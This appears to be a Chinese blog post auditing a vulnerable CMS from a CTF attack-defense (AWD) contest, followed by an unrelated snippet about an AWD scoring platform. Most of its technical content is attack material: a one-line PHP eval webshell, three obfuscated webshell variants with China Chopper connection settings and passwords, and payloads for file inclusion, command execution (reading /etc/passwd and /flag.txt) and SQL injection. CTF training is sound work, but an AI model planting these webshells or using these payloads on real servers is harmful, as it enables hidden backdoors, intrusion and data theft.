CTF AWD模式下简单的CMS代码审计

ctf线下AWD攻防赛学习笔记:https://blog.csdn.net/qq_43442524/article/details/102653414
CTF线下AWD攻防步骤总结:https://blog.csdn.net/qq_43442524/article/details/102652029

今天先把去年的AWD代码审计一下,以后有时间就把今年的AWD代码审计写一下

index.php

<?php 
include 'header.php';
@eval($_REQUEST['aa']);
echo 'eval';
?>

首先打开index.php,一目了然,可以看到头文件有一句话木马,密码是aa

这里使用中国菜刀可以直接连上一句话木马,进入服务器

扩展

了解一句话脚本的工作原理
一句话脚本的工作原理:

一句话恶意脚本分析服务端与客户端。(此处以php脚本语言简述原理)

一句话恶意脚本服务端就是我们要用来插入到php文件中的asp语句,(不仅仅是以php为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为@eval($_REQUEST[‘aa’]); 其中aa可以自己修改

一句话恶意脚本客户端(即为中国菜刀主程序)用来向服务端提交控制数据的,提交的数据通过服务端构成完整的php功能语句并执行.

中国菜刀的请求方式为post。

一句话脚本的变形
案例1

加密类变形

php一句话恶意脚本带404页面,带MD5加密,可浏览器POST任意php代码执行. 代码如下:

<?php 
echo "404 Not Found!</br>"; error_reporting(0);
if(isset($_POST['com']) && md5($_POST['com']) == '791dc312b38016ef998c1c146104cd5a' && isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
echo "We're sorry but the page your are looking for is Not Found..."
?>

在菜刀里写http://xx.xx.xx.xx/test.php

密码:page

菜刀配置填:

<O>com=settoken&content=ZXZhbCgkX1BPU1RbJ3BhZ2UnXSk7</O>

案例2 变量拼接类变形

webshell的代码如下:

<?php 
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

在菜刀里写http://xx.xx.xx.xx/test.php

密码是:0

菜刀配置填:

<O>n985de9=QGV2YWwoJF9QT1NUWzBdKTs=</O>

案例3 加密拼接类变形

webshell的代码如下:

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

在菜刀里写http://xx.xx.xx.xx/test.php

连接密码:1

about.php

可以看到这里打开了 allow_url_include 并且代码中有明显的文件包含漏洞

payload为?file=/etc/passwd

具体的文件包含漏洞可以查看这篇文章

services.php

这里我们点击第三个选项服务,点击以后页面正常 这里我们去查看一下它的源码

发现有异常,这里是一个简单的命令执行漏洞

payload:?shell=ls

contact.php

查看源码:

可以发现这里也是一个文件包含漏洞,不过相比上面那个有些复杂

payload:?path=/etc/passwd

爆出passwd文件

footer.php

返回主页 发现页面底端有异常

这里有简单的命令执行漏洞

注释即可

admin页面

在登陆界面

login.php

简单的sql注入

payload:admin ' #

header.php

这里是一个php命令执行漏洞

payload: ?p=cat /flag.txt

好了,代码就差不多就审计到这里了,一些简单的后门漏洞等用D盾或审计工具可以找出来,要想提高自己的话尽量花点时间,自主审计

  • 4
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
一个awd攻防比赛的裁判平台。 版本:beta v2.0 开发语言:python3 + django 平台分为两个部分 裁判机 靶机 通过特定接口,来实现靶机flag与服务器的通信 搭建流程 裁判机 安装所需环境 裁判机:python3+django 全局搜索woshiguanliyuan,并修改为随机字符串,此处为管理平台地址 /untitled/urls.py path('woshiguanliyuan/',views.admin,name='admin'), path('woshiguanliyuan/table/',views.admin_table,name='admin_table'), /app/views.py if 'woshiguanliyuan' not in request.META['HTTP_REFERER']: 第31和47换为你的目录 列:("/var/www/awd_platform/app/qwe.txt","a") 修改app/management/commands/init.py,添加用户 #['用户名','用户靶机token','用户靶机token'] user=[ ['123456','FF9C92C7SDFABB71566F73422C','FF9C92C7SDFABB71566F73422C'], ['aaabbb','311F8A54SV9K6B5FF4EAB20536','311F8A54SV9K6B5FF4EAB20536'] ] 修改/app/views.py第行d89f33b18ba2a74cd38499e587cb9dcd为靶机中设置的admin_token值的md5 if('d89f33b18ba2a74cd38499e587cb9dcd'==hl.hexdigest()): 运行 python3 manage.py init python3 manage.py manage.py runserver --insecure 靶机 安装所需环境 靶机:python+requests 修改send_flag.py参数,并将其放入靶机,设权限700。 靶机 sudo python send_flag.py。 靶机生成flag脚本,send_flag.py import requests import time import random import string import hashlib token='woshiwuxudong' # 红队 baji='311F8A54SV9K6B5FF4EAB20536' def getFlag(): #return ''.join(random.sample(string.ascii_letters + string.digits, 48)) m = hashlib.md5(''.join(random.sample(string.ascii_letters + string.digits, 48)).encode(encoding="utf-8")).hexdigest() return m while(1): f=open('/flag','w') flag=getFlag() f.write(flag) data={ 'flag':flag, 'token':token, 'baji':baji, } r=requests.post('http://127.0.0.1/caipanflag/',data=data) print(r.text) f.close() time.sleep(300) 重要须知 更新作者基础上: 1.增加flag验证一次性失效性,使得每个用户都并且仅可以提交一次flag 2.增加排名情况 3.flag改为MD5 4.增加丢失flag一轮扣100分

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值